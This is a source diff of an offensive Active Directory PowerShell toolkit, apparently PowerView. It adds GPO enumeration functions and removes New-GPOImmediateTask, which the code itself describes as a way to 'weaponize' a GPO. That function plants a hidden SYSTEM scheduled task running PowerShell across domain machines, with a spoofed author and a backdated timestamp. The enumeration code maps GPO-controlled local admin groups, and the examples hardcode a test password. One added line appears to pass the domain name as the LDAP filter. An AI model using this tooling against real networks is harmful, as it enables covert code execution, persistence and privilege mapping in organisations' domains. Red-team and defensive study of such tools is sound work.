+Useful for OU queries. - # find all the GPOs linked to the computer's OU - ForEach($ComputerOU in $ComputerOUs) { - $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { - # get any GPO links - write-verbose "blah: $($_.name)" - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } - - Write-Verbose "GPONames: $GPONames" +.PARAMETER Server - # find any GPOs linked to the site for the given computer - $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { - $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { - if($_.gplink) { - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } - } +Specifies an Active Directory server (domain controller) to bind to. - $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { +.PARAMETER SearchScope - # use the gplink as an ADS path to enumerate all GPOs for the computer - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - try { - $Results = $GPOSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Out = Convert-LDAPProperty -Properties $_.Properties - $Out | Add-Member Noteproperty 'ComputerName' $ComputerName - $Out - } - $Results.dispose() - $GPOSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } +.PARAMETER ResultPageSize - else { - if($DisplayName) { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" - } - else { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - } +Specifies the PageSize to set for the LDAP searcher object. - try { - $Results = $GPOSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if($ADSPath -and ($ADSpath -Match '^GC://')) { - $Properties = Convert-LDAPProperty -Properties $_.Properties - try { - $GPODN = $Properties.distinguishedname - $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)" - $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath - $Properties - } - catch { - $Properties - } - } - else { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties - } - } - $Results.dispose() - $GPOSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } - } -} +.PARAMETER ServerTimeLimit +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. -function New-GPOImmediateTask { -<# - .SYNOPSIS +.PARAMETER SecurityMasks - Builds an 'Immediate' schtask to push out through a specified GPO. +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. - .PARAMETER TaskName +.PARAMETER Tombstone - Name for the schtask to recreate. Required. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .PARAMETER Command +.PARAMETER FindOne - The command to execute with the task, defaults to 'powershell' +Only return one result object. - .PARAMETER CommandArguments +.PARAMETER Credential - The arguments to supply to the -Command being launched. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .PARAMETER TaskDescription +.PARAMETER Raw - An optional description for the task. +Switch. Return raw results instead of translating the fields into a custom PSObject. - .PARAMETER TaskAuthor - - The displayed author of the task, defaults to ''NT AUTHORITY\System' +.EXAMPLE - .PARAMETER TaskModifiedDate - - The displayed modified date for the task, defaults to 30 days ago. +Get-DomainGPO -Domain testlab.local - .PARAMETER GPOname +Return all GPOs for the testlab.local domain - The GPO name to build the task for. +.EXAMPLE - .PARAMETER GPODisplayName +Get-DomainGPO -ComputerName windows1.testlab.local - The GPO display name to build the task for. +Returns all GPOs applied windows1.testlab.local - .PARAMETER Domain +.EXAMPLE - The domain to query for the GPOs, defaults to the current domain. +"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO - .PARAMETER DomainController +Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display +name of "Test GPO" - Domain controller to reflect LDAP queries through. +.EXAMPLE - .PARAMETER ADSpath +Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon - The LDAP source to search through - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" +.EXAMPLE - .PARAMETER Credential +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPO -Credential $Cred - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target. +.OUTPUTS - .EXAMPLE +PowerView.GPO - PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force +Custom PSObject with translated GPO property fields. - Create an immediate schtask that executes the specified PowerShell arguments and - push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. +PowerView.GPO.Raw - .EXAMPLE +The raw DirectoryServices.SearchResult object, if -Raw is enabled. +#> - PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.GPO')] + [OutputType('PowerView.GPO.Raw')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, - Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. -#> - [CmdletBinding(DefaultParameterSetName = 'Create')] - Param ( - [Parameter(ParameterSetName = 'Create', Mandatory = $True)] - [String] + [Parameter(ParameterSetName = 'ComputerIdentity')] + [Alias('ComputerName')] [ValidateNotNullOrEmpty()] - $TaskName, - - [Parameter(ParameterSetName = 'Create')] [String] - [ValidateNotNullOrEmpty()] - $Command = 'powershell', + $ComputerIdentity, - [Parameter(ParameterSetName = 'Create')] - [String] + [Parameter(ParameterSetName = 'UserIdentity')] + [Alias('UserName')] [ValidateNotNullOrEmpty()] - $CommandArguments, - - [Parameter(ParameterSetName = 'Create')] [String] - [ValidateNotNullOrEmpty()] - $TaskDescription = '', + $UserIdentity, - [Parameter(ParameterSetName = 'Create')] - [String] [ValidateNotNullOrEmpty()] - $TaskAuthor = 'NT AUTHORITY\System', + [String] + $Domain, - [Parameter(ParameterSetName = 'Create')] + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] + $LDAPFilter, + [ValidateNotNullOrEmpty()] - $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), + [String[]] + $Properties, - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $GPOname, + $SearchBase, - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $GPODisplayName, + $Server, - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] + [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] - $Domain, + $SearchScope = 'Subtree', - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] - [String] - $DomainController, - - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] - $ADSpath, + $SecurityMasks, - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] [Switch] - $Force, + $Tombstone, - [Parameter(ParameterSetName = 'Remove')] + [Alias('ReturnOne')] [Switch] - $Remove, + $FindOne, - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] [Management.Automation.PSCredential] - $Credential - ) + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, - # build the XML spec for our 'immediate' scheduled task - $TaskXML = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="'+$TaskName+'" image="0" changed="'+$TaskModifiedDate+'" uid="{'+$([guid]::NewGuid())+'}" userContext="0" removePolicy="0"><Properties action="C" name="'+$TaskName+'" runAs="NT AUTHORITY\System" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>'+$TaskAuthor+'</Author><Description>'+$TaskDescription+'</Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITY\System</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>S4U</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>'+$Command+'</Command><Arguments>'+$CommandArguments+'</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>' + [Switch] + $Raw + ) - if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) { - Write-Warning 'Either -GPOName or -GPODisplayName must be specified' - return + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GPOSearcher = Get-DomainSearcher @SearcherArguments } - # eunmerate the specified GPO(s) - $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential - - if(!$GPOs) { - Write-Warning 'No GPO found.' - return - } + PROCESS { + if ($GPOSearcher) { + if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) { + $GPOAdsPaths = @() + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + $SearcherArguments['Properties'] = 'distinguishedname,dnshostname' + $TargetComputerName = $Null + + if ($PSBoundParameters['ComputerIdentity']) { + $SearcherArguments['Identity'] = $ComputerIdentity + $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $Computer) { + Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!" + } + $ObjectDN = $Computer.distinguishedname + $TargetComputerName = $Computer.dnshostname + } + else { + $SearcherArguments['Identity'] = $UserIdentity + $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1 + if(-not $User) { + Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!" + } + $ObjectDN = $User.distinguishedname + } - $GPOs | ForEach-Object { - $ProcessedGPOName = $_.Name - try { - Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName" + # extract all OUs the target user/computer is a part of + $ObjectOUs = @() + $ObjectOUs += $ObjectDN.split(',') | ForEach-Object { + if($_.startswith('OU=')) { + $ObjectDN.SubString($ObjectDN.IndexOf($_)) + } + } + Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs" + + if ($ObjectOUs) { + # find all the GPOs linked to the user/computer's OUs + $SearcherArguments.Remove('Properties') + $InheritanceDisabled = $False + ForEach($ObjectOU in $ObjectOUs) { + if ($InheritanceDisabled) { break } + $SearcherArguments['Identity'] = $ObjectOU + $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object { + # extract any GPO links for this particular OU the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } - # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :( - if($Credential) { - Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\" - $Path = $_.gpcfilesyspath.TrimEnd('\') - $Net = New-Object -ComObject WScript.Network - $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) - $TaskPath = "N:\Machine\Preferences\ScheduledTasks\" - } - else { - $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\" - } + # if this OU has GPO inheritence disabled, break so additional OUs aren't processed + if ($_.gpoptions -eq 1) { + $InheritanceDisabled = $True + } + } + } + } - if($Remove) { - if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) { - Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml" + if ($TargetComputerName) { + # find all the GPOs linked to the computer's site + $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { + $SearcherArguments['Identity'] = $ComputerSite + $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular site the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } + } + } } - if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) { - return + # find any GPOs linked to the user/computer's domain + $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC=')) + $SearcherArguments.Remove('Identity') + $SearcherArguments.Remove('Properties') + $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)" + $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object { + if($_.gplink) { + # extract any GPO links for this particular domain the computer is a part of + $_.gplink.split('][') | ForEach-Object { + if ($_.startswith('LDAP')) { + $_.split(';')[0] + } + } + } } + Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths" + + # restore the old properites to return, if set + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + else { $SearcherArguments.Remove('Properties') } + $SearcherArguments.Remove('Identity') - Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force + $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object { + # use the gplink as an ADS path to enumerate all GPOs for the computer + $SearcherArguments['SearchBase'] = $_ + $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)" + Get-DomainObject @SearcherArguments | ForEach-Object { + if ($PSBoundParameters['Raw']) { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $_ + } + } } else { - if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) { - return + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match 'LDAP://|^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + elseif ($IdentityInstance -match '{.*}') { + $IdentityFilter += "(name=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(displayname=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" } - - # create the folder if it doesn't exist - $Null = New-Item -ItemType Directory -Force -Path $TaskPath - if(Test-Path "$TaskPath\ScheduledTasks.xml") { - Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !" + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" } - $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml" - } + $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)" + Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)" - if($Credential) { - Write-Verbose "Removing mounted drive at N:\" - $Net = New-Object -ComObject WScript.Network - $Net.RemoveNetworkDrive("N:") - } - } - catch { - Write-Warning "Error for GPO $ProcessedGPOName : $_" - if($Credential) { - Write-Verbose "Removing mounted drive at N:\" - $Net = New-Object -ComObject WScript.Network - $Net.RemoveNetworkDrive("N:") + if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() } + else { $Results = $GPOSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $GPO = $_ + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw') + } + else { + if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) { + $GPO = Convert-LDAPProperty -Properties $_.Properties + try { + $GPODN = $GPO.distinguishedname + $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)" + $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath + } + catch { + Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)" + } + } + else { + $GPO = Convert-LDAPProperty -Properties $_.Properties + } + $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO') + } + $GPO + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_" + } + } + $GPOSearcher.dispose() } } } } -function Get-NetGPOGroup { +function Get-DomainGPOLocalGroup { <# - .SYNOPSIS +.SYNOPSIS + +Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' +or Group Policy preferences. Also return their user membership mappings, if they exist. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID + +.DESCRIPTION + +First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed +arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or +group membership is set through Group Policy Preferences groups.xml files. For any +GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' +section data is processed if present. Any found Groups.xml files are parsed with +Get-GroupsXML and those memberships are returned as well. + +.PARAMETER Identity + +A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), +GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted. - Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines. +.PARAMETER ResolveMembersToSIDs - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName - Optional Dependencies: None - - .DESCRIPTION +Switch. Indicates that any member names should be resolved to their domain SIDs. - First enumerates all GPOs in the current/target domain using Get-NetGPO with passed - arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or - group membership is set through Group Policy Preferences groups.xml files. For any - GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' - section data is processed if present. Any found Groups.xml files are parsed with - Get-GroupsXML and those memberships are returned as well. +.PARAMETER Domain - .PARAMETER GPOname +Specifies the domain to use for the query, defaults to the current domain. - The GPO name (GUID) to query for, wildcards accepted. +.PARAMETER LDAPFilter - .PARAMETER DisplayName +Specifies an LDAP query string that is used to filter Active Directory objects. - The GPO display name to query for, wildcards accepted. +.PARAMETER SearchBase - .PARAMETER Domain +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. - The domain to query for GPOs, defaults to the current domain. +.PARAMETER Server - .PARAMETER DomainController +Specifies an Active Directory server (domain controller) to bind to. - Domain controller to reflect LDAP queries through. +.PARAMETER SearchScope - .PARAMETER ADSpath +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - The LDAP source to search through for GPOs. - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" +.PARAMETER ResultPageSize - .PARAMETER ResolveMemberSIDs +Specifies the PageSize to set for the LDAP searcher object. - Switch. Try to resolve the SIDs of all found group members. +.PARAMETER ServerTimeLimit - .PARAMETER UsePSDrive +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Switch. Mount any found policy files with temporary PSDrives. +.PARAMETER Tombstone - .PARAMETER PageSize +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - The PageSize to set for the LDAP searcher object. +.PARAMETER Credential - .EXAMPLE +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - PS C:\> Get-NetGPOGroup +.EXAMPLE - Returns all local groups set by GPO along with their members and memberof. +Get-DomainGPOLocalGroup - .EXAMPLE +Returns all local groups set by GPO along with their members and memberof. - PS C:\> Get-NetGPOGroup -ResolveMemberSIDs +.EXAMPLE - Returns all local groups set by GPO along with their members and memberof, - and resolve any members to their domain SIDs. +Get-DomainGPOLocalGroup -ResolveMembersToSIDs - .EXAMPLE +Returns all local groups set by GPO along with their members and memberof, +and resolve any members to their domain SIDs. - PS C:\> Get-NetGPOGroup -GPOName '{0847C615-6C4E-4D45-A064-6001040CC21C}' +.EXAMPLE - Return any GPO-set groups for the GPO with the given name/GUID. +'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup - .EXAMPLE +Return any GPO-set groups for the GPO with the given name/GUID. - PS C:\> Get-NetGPOGroup -DisplayName 'Desktops' +.EXAMPLE - Return any GPO-set groups for the GPO with the given display name. +Get-DomainGPOLocalGroup 'Desktops' - .LINK +Return any GPO-set groups for the GPO with the given display name. - https://morgansimonsenblog.azurewebsites.net/tag/groups/ +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOLocalGroup -Credential $Cred + +.LINK + +https://morgansimonsenblog.azurewebsites.net/tag/groups/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOGroup')] [CmdletBinding()] - Param ( - [String] - $GPOname = '*', + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, - [String] - $DisplayName, + [Switch] + $ResolveMembersToSIDs, + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('Filter')] [String] - $DomainController, + $LDAPFilter, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $ADSpath, + $SearchBase, - [Switch] - $ResolveMemberSIDs, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, - [Switch] - $UsePSDrive, + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - [ValidateRange(1,10000)] + [ValidateRange(1, 10000)] [Int] - $PageSize = 200 - ) - - $Option = [System.StringSplitOptions]::RemoveEmptyEntries - - # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $DisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { + $ResultPageSize = 200, - $GPOdisplayName = $_.displayname - $GPOname = $_.name - $GPOPath = $_.gpcfilesyspath - - $ParseArgs = @{ - 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - 'UsePSDrive' = $UsePSDrive - } - - # parse the GptTmpl.inf 'Restricted Groups' file if it exists - $Inf = Get-GptTmpl @ParseArgs - - if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - $Memberships = @{} + [Switch] + $Tombstone, - # group the members/memberof fields for each entry - ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { - $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - # extract out ALL members - $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ConvertArguments = @{} + if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential } + + $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries + } - if($ResolveMemberSIDs) { - # if the resulting member is username and not a SID, attempt to resolve it - $GroupMembers = @() - ForEach($Member in $MembershipValue) { - if($Member -and ($Member.Trim() -ne '')) { - if($Member -notmatch '^S-1-.*') { - $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID - if($MemberSID) { - $GroupMembers += $MemberSID + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainGPO @SearcherArguments | ForEach-Object { + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath + + $ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" } + if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential } + + # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists + $Inf = Get-GptTmpl @ParseArgs + + if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { + $Memberships = @{} + + # parse the members/memberof fields for each entry + ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { + $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()} + # extract out ALL members + $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} + + if ($PSBoundParameters['ResolveMembersToSIDs']) { + # if the resulting member is username and not a SID, attempt to resolve it + $GroupMembers = @() + ForEach ($Member in $MembershipValue) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + $ConvertToArguments = @{'ObjectName' = $Member} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID @ConvertToArguments + + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } } else { $GroupMembers += $Member } } - else { - $GroupMembers += $Member - } } + $MembershipValue = $GroupMembers } - 